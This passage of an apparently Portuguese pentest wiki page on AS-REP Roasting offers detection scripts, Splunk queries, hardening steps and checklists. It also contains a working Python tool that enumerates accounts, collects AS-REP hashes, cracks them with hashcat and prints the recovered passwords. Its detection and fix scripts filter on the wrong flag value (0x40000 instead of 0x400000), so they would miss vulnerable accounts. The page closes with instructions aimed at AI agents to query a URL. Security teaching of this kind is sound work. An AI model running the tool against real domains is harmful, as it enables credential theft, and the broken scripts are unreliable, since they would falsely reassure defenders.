| **Senha fraca**                    | Acesso ao domínio        | Baixa       | 🔴 CRÍTICO |
| **Senha forte**                    | Cracking inviável        | Alta        | 🟢 BAIXO   |
| **Múltiplas contas vulneráveis**   | Acesso múltiplo          | Baixa       | 🔴 CRÍTICO |
| **Conta privilegiada**             | Domain Admin             | Baixa       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos:

  4768: Ticket de autenticação Kerberos (TGT) solicitado
    - Verificar falhas de preautenticação (Status: 0x6)
    - Monitorar códigos de erro específicos
    
  4771: Falha de preautenticação Kerberos
    - Indicativo de tentativa de AS-REP Roasting
    - Códigos de erro: 0x18 (preauth required)
    
  4624: Logon bem-sucedido
    - Correlacionar com logons de contas anteriormente vulneráveis
    
  4672: Privilégios especiais atribuídos
    - Monitorar elevação de privilégios após cracking
```

### **Script de Detecção**

```powershell
# detect_asreproast.ps1 - Detector de AS-REP Roasting

param(
    [int]$HoursBack = 24,
    [string]$DomainController = (Get-ADDomainController).Name
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Encontrar contas com preauth desabilitada
Write-Host "🔍 Encontrando contas com preauthentication desabilitada..." -ForegroundColor Cyan

$vulnUsers = Get-ADUser -Filter 'userAccountControl -band 0x40000' -Properties userAccountControl, PasswordLastSet, LastLogonDate

if ($vulnUsers) {
    Write-Alert -Message "$($vulnUsers.Count) contas com preauth desabilitada!" -Severity "CRITICAL"
    $vulnUsers | ForEach-Object {
        Write-Host "   $($_.Name) - LastLogon: $($_.LastLogonDate)"
    }
} else {
    Write-Host "   ✅ Nenhuma conta com preauth desabilitada"
}

# 2. Monitorar eventos de Kerberos
Write-Host "`n🔍 Analisando eventos de Kerberos..." -ForegroundColor Cyan

$events = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4768, 4771
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$asrepEvents = $events | Where-Object {
    $_.Message -like "*0x6*" -or  # Falha de preautenticação
    $_.Message -like "*0x18*"     # Preauthentication failed
}

if ($asrepEvents) {
    Write-Alert -Message "$($asrepEvents.Count) eventos suspeitos de Kerberos!" -Severity "WARNING"
    $asrepEvents | Group-Object TimeCreated | ForEach-Object {
        Write-Host "   $($_.Name) - $($_.Count) eventos"
    }
} else {
    Write-Host "   ✅ Nenhum evento suspeito"
}

# 3. Verificar logons recentes de contas vulneráveis
Write-Host "`n🔍 Verificando logons recentes..." -ForegroundColor Cyan

foreach ($user in $vulnUsers) {
    $logons = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
        LogName='Security'
        ID=4624
    } -ErrorAction SilentlyContinue | Where-Object {
        $_.Message -like "*$($user.SamAccountName)*"
    } | Select-Object -First 5
    
    if ($logons) {
        Write-Alert -Message "Logon detectado para $($user.Name) após detecção de vulnerabilidade!" -Severity "CRITICAL"
    }
}

# 4. Gerar relatório
$report = @"
AS-REP Roasting Detection Report
=================================
Data: $(Get-Date)
Domain Controller: $DomainController

Vulnerable Accounts:
$($vulnUsers.Count) accounts with preauthentication disabled

Kerberos Events:
$($asrepEvents.Count) suspicious events detected

Recommendations:
1. Enable Kerberos preauthentication for all accounts
2. Change passwords of accounts with preauth disabled
3. Monitor for unusual authentication patterns
4. Implement strong password policies
"@

$report | Out-File -FilePath "asreproast_detection.txt"
Write-Host "`n✅ Relatório salvo em asreproast_detection.txt" -ForegroundColor Green
```

### **Splunk/ELK Queries**

```spl
# Splunk Query para AS-REP Roasting
index=windows EventCode=4768
| where (Message like "*0x6*" OR Message like "*0x18*")
| stats count by Account_Name, ComputerName, _time
| sort - count

# Detecção de contas com preauth desabilitada
index=ad userAccountControl=4194304
| table Name, sAMAccountName, userAccountControl, LastLogonDate

# Correlação de eventos
index=windows (EventCode=4768 OR EventCode=4771) 
| eval failure=if(EventCode=4771,1,0)
| stats sum(failure) as failures by Account_Name
| where failures > 5
```

***

## 🛡️ **Mitigações e Hardening**

### **Correção de Contas Vulneráveis**

```powershell
# fix_asreproast_vulnerable.ps1 - Correção de contas vulneráveis

param(
    [switch]$Apply,
    [string]$Domain = (Get-ADDomain).DNSRoot
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando correções para AS-REP Roasting..."
} else {
    Write-Step "Modo auditoria - verificando contas vulneráveis"
}

# 1. Encontrar todas as contas com preauth desabilitada
Write-Step "1. Encontrando contas com preauth desabilitada..."

$vulnUsers = Get-ADUser -Filter 'userAccountControl -band 0x40000' -Properties userAccountControl, PasswordLastSet, LastLogonDate, Description

if ($vulnUsers) {
    Write-Host "   ⚠️  $($vulnUsers.Count) contas vulneráveis encontradas:" -ForegroundColor Yellow
    $vulnUsers | ForEach-Object {
        Write-Host "      • $($_.Name) - LastLogon: $($_.LastLogonDate)"
    }
    
    if ($Apply) {
        Write-Step "2. Habilitando preauthentication..."
        
        foreach ($user in $vulnUsers) {
            # Desabilitar flag DONT_REQUIRE_PREAUTH
            $newUAC = $user.userAccountControl -band -bnot 0x400000
            Set-ADUser -Identity $user -Replace @{userAccountControl=$newUAC}
            Write-Host "   ✅ Preauthentication habilitada para $($user.Name)"
            
            # Forçar troca de senha
            Set-ADUser -Identity $user -ChangePasswordAtLogon $true
            Write-Host "   🔑 Senha forçada para troca no próximo logon"
        }
    }
} else {
    Write-Host "   ✅ Nenhuma conta vulnerável encontrada"
}

# 3. Configurar política de senhas
Write-Step "3. Verificando política de senhas..."

$policy = Get-ADDefaultDomainPasswordPolicy
Write-Host "   Complexidade: $($policy.ComplexityEnabled)"
Write-Host "   Comprimento mínimo: $($policy.MinPasswordLength)"
Write-Host "   Histórico: $($policy.PasswordHistoryCount)"
Write-Host "   Expiração: $($policy.MaxPasswordAge.Days) dias"

if ($policy.MinPasswordLength -lt 12 -or -not $policy.ComplexityEnabled) {
    Write-Host "   ⚠️  Política de senhas fraca!" -ForegroundColor Yellow
    
    if ($Apply) {
        Set-ADDefaultDomainPasswordPolicy -MinPasswordLength 12 -ComplexityEnabled $true
        Write-Host "   ✅ Política de senhas fortalecida"
    }
}

# 4. Configurar auditoria
Write-Step "4. Configurando auditoria..."

if ($Apply) {
    # Habilitar auditoria de Kerberos
    auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
    
    # Configurar Advanced Audit Policy
    $auditPolicy = @{
        'Kerberos Authentication Service' = 'Success,Failure'
        'Kerberos Service Ticket Operations' = 'Success,Failure'
    }
    
    Write-Host "   ✅ Auditoria de Kerberos habilitada"
}

Write-Step "Correção concluída!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as correções" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Habilitar Preauthentication:
    - Habilitar para todas as contas de usuário
    - Script de monitoramento contínuo
    - Alertas para novas contas com flag desabilitada

  ✅ Política de Senhas:
    - Mínimo de 12 caracteres
    - Complexidade (maiúsculas, minúsculas, números, símbolos)
    - Histórico de 24 senhas
    - Expiração de 60-90 dias

  ✅ Monitoramento:
    - Eventos 4768 e 4771
    - Alertas para falhas de preautenticação
    - Correlação de logons suspeitos

  ✅ Controle de Acesso:
    - Revisar contas com privilégios administrativos
    - Implementar princípio do menor privilégio
    - Remover contas inativas
```

***

## 🔬 **Pentesting com AS-REP Roasting**

### **Metodologia de Teste**

```yaml
Fases do Teste AS-REP Roasting:

  FASE 1 - Reconhecimento:
    - Identificar contas com preauth desabilitada
    - Verificar políticas de senhas
    - Mapear contas privilegiadas

  FASE 2 - Coleta de Hashes:
    - Executar AS-REP Roasting
    - Coletar hashes de contas vulneráveis
    - Verificar formato e integridade

  FASE 3 - Cracking:
    - Testar wordlists comuns
    - Aplicar regras de mutação
    - Documentar senhas recuperadas

  FASE 4 - Validação:
    - Autenticar com senhas recuperadas
    - Verificar privilégios
    - Documentar impacto
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# asreproast_pentest.py - Pentest automatizado de AS-REP Roasting

import subprocess
import argparse
import sys
import os
import time

class ASREPRoastPentest:
    """Ferramenta de pentest para AS-REP Roasting"""
    
    def __init__(self, domain, dc_ip):
        self.domain = domain
        self.dc_ip = dc_ip
        self.results = {
            'vulnerable_users': [],
            'hashes': [],
            'cracked_passwords': [],
            'findings': []
        }
    
    def enumerate_users(self):
        """Enumerar usuários vulneráveis"""
        print("[*] Enumerando usuários com preauth desabilitada...")
        
        # Usar ldapsearch
        cmd = [
            'ldapsearch', '-x', '-H', f'ldap://{self.dc_ip}',
            '-b', f'dc={self.domain.replace(".", ",dc=")}',
            '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
            'sAMAccountName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            import re
            users = re.findall(r'sAMAccountName: (.*?)\n', result.stdout)
            
            self.results['vulnerable_users'] = users
            print(f"   ✅ {len(users)} usuários vulneráveis encontrados")
            for user in users[:5]:
                print(f"      • {user}")
            
            return users
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def collect_hashes(self, users):
        """Coletar hashes AS-REP"""
        print("[*] Coletando hashes AS-REP...")
        
        hash_file = 'asreproast_hashes.txt'
        
        for user in users:
            cmd = [
                'GetNPUsers.py',
                '-dc-ip', self.dc_ip,
                '-format', 'hashcat',
                '-no-pass',
                f'{self.domain}/{user}'
            ]
            
            try:
                result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
                if result.stdout and '$krb5asrep$' in result.stdout:
                    with open(hash_file, 'a') as f:
                        f.write(result.stdout)
                    self.results['hashes'].append(user)
                    print(f"   ✅ Hash obtido para {user}")
            except Exception as e:
                print(f"   ❌ Erro para {user}: {e}")
        
        print(f"\n   Total de hashes coletados: {len(self.results['hashes'])}")
        return hash_file
    
    def crack_hashes(self, hash_file, wordlist):
        """Crackear hashes"""
        print("[*] Crackeando hashes...")
        
        if not os.path.exists(hash_file) or os.path.getsize(hash_file) == 0:
            print("   ❌ Nenhum hash para crackear")
            return
        
        if not os.path.exists(wordlist):
            print(f"   ❌ Wordlist não encontrada: {wordlist}")
            return
        
        cmd = [
            'hashcat', '-m', '18200', '-a', '0', '--force',
            hash_file, wordlist, '-o', 'cracked.txt'
        ]
        
        try:
            subprocess.run(cmd, capture_output=True, text=True, timeout=300)
            
            if os.path.exists('cracked.txt'):
                with open('cracked.txt', 'r') as f:
                    for line in f:
                        parts = line.split(':')
                        if len(parts) >= 2:
                            user = parts[0].split('$')[2].split('@')[0]
                            password = parts[1].strip()
                            self.results['cracked_passwords'].append({
                                'user': user,
                                'password': password
                            })
                
                print(f"   ✅ {len(self.results['cracked_passwords'])} senhas recuperadas!")
                for cred in self.results['cracked_passwords'][:5]:
                    print(f"      {cred['user']}:{cred['password']}")
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST")
        print("=" * 60)
        
        print(f"Domain: {self.domain}")
        print(f"DC IP: {self.dc_ip}")
        print(f"Usuários vulneráveis: {len(self.results['vulnerable_users'])}")
        print(f"Hashes coletados: {len(self.results['hashes'])}")
        print(f"Senhas recuperadas: {len(self.results['cracked_passwords'])}")
        
        if self.results['cracked_passwords']:
            print("\n🔑 CREDENCIAIS RECUPERADAS:")
            for cred in self.results['cracked_passwords']:
                print(f"   {cred['user']}:{cred['password']}")
        
        print("\n🎯 RECOMENDAÇÕES:")
        print("   • Habilitar preauthentication para todas as contas")
        print("   • Implementar política de senhas fortes")
        print("   • Monitorar eventos 4768 e 4771")
        print("   • Forçar troca de senha para contas vulneráveis")
        
        # Salvar relatório
        with open('asreproast_pentest_report.txt', 'w') as f:
            f.write("AS-REP ROASTING PENTEST REPORT\n")
            f.write("=" * 40 + "\n\n")
            f.write(f"Domain: {self.domain}\n")
            f.write(f"DC IP: {self.dc_ip}\n\n")
            
            f.write("VULNERABLE ACCOUNTS:\n")
            for user in self.results['vulnerable_users']:
                f.write(f"  - {user}\n")
            
            f.write("\nCRACKED CREDENTIALS:\n")
            for cred in self.results['cracked_passwords']:
                f.write(f"  - {cred['user']}:{cred['password']}\n")
        
        print(f"\n✅ Relatório salvo: asreproast_pentest_report.txt")
    
    def run(self, wordlist=None):
        """Executar pentest completo"""
        print("🚨 AS-REP Roasting Pentest")
        print("=" * 60)
        
        # Enumerar usuários
        users = self.enumerate_users()
        
        if not users:
            print("❌ Nenhum usuário vulnerável encontrado")
            return
        
        # Coletar hashes
        hash_file = self.collect_hashes(users)
        
        # Crackear hashes
        if wordlist:
            self.crack_hashes(hash_file, wordlist)
        
        # Gerar relatório
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='AS-REP Roasting Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('--wordlist', help='Wordlist for cracking')
    
    args = parser.parse_args()
    
    pentest = ASREPRoastPentest(args.domain, args.dc_ip)
    pentest.run(args.wordlist)
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Habilitar preauthentication para todas as contas
* [ ] Revisar periodicamente contas com flag 0x40000
* [ ] Implementar política de senhas fortes (12+ caracteres)
* [ ] Configurar auditoria de Kerberos
* [ ] Desabilitar contas inativas

#### **Monitoramento**

* [ ] Monitorar eventos 4768 e 4771
* [ ] Alertar sobre falhas de preautenticação
* [ ] Correlacionar logons suspeitos
* [ ] Revisar contas com múltiplas falhas

#### **Resposta a Incidentes**

* [ ] Investigar contas com preauth desabilitada
* [ ] Forçar troca de senha de contas comprometidas
* [ ] Revisar logons após descoberta
* [ ] Documentar e remediar

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Identificar contas com userAccountControl=0x40000
* [ ] Mapear contas privilegiadas
* [ ] Verificar política de senhas

#### **Coleta**

* [ ] Executar AS-REP Roasting para todos os usuários
* [ ] Coletar hashes em formato hashcat
* [ ] Verificar integridade dos hashes

#### **Cracking**

* [ ] Testar wordlists comuns
* [ ] Aplicar regras de mutação
* [ ] Documentar senhas recuperadas

#### **Validação**

* [ ] Autenticar com credenciais recuperadas
* [ ] Verificar privilégios
* [ ] Documentar impacto

***

## 📊 **Conclusão**

```yaml
AS-REP Roasting:

  🔴 Principais Vetores:
    - Contas com preauthentication desabilitada
    - Senhas fracas que podem ser crackeadas offline
    - Falta de monitoramento de Kerberos

  🛡️ Mitigações Essenciais:
    - Habilitar preauthentication para todas as contas
    - Política de senhas fortes
    - Monitoramento de eventos Kerberos
    - Auditoria regular de configurações

  🎯 Prioridade:
    - CRÍTICA: Contas com preauth desabilitada
    - ALTA: Contas privilegiadas
    - MÉDIA: Contas de serviço
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/as-rep-roasting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
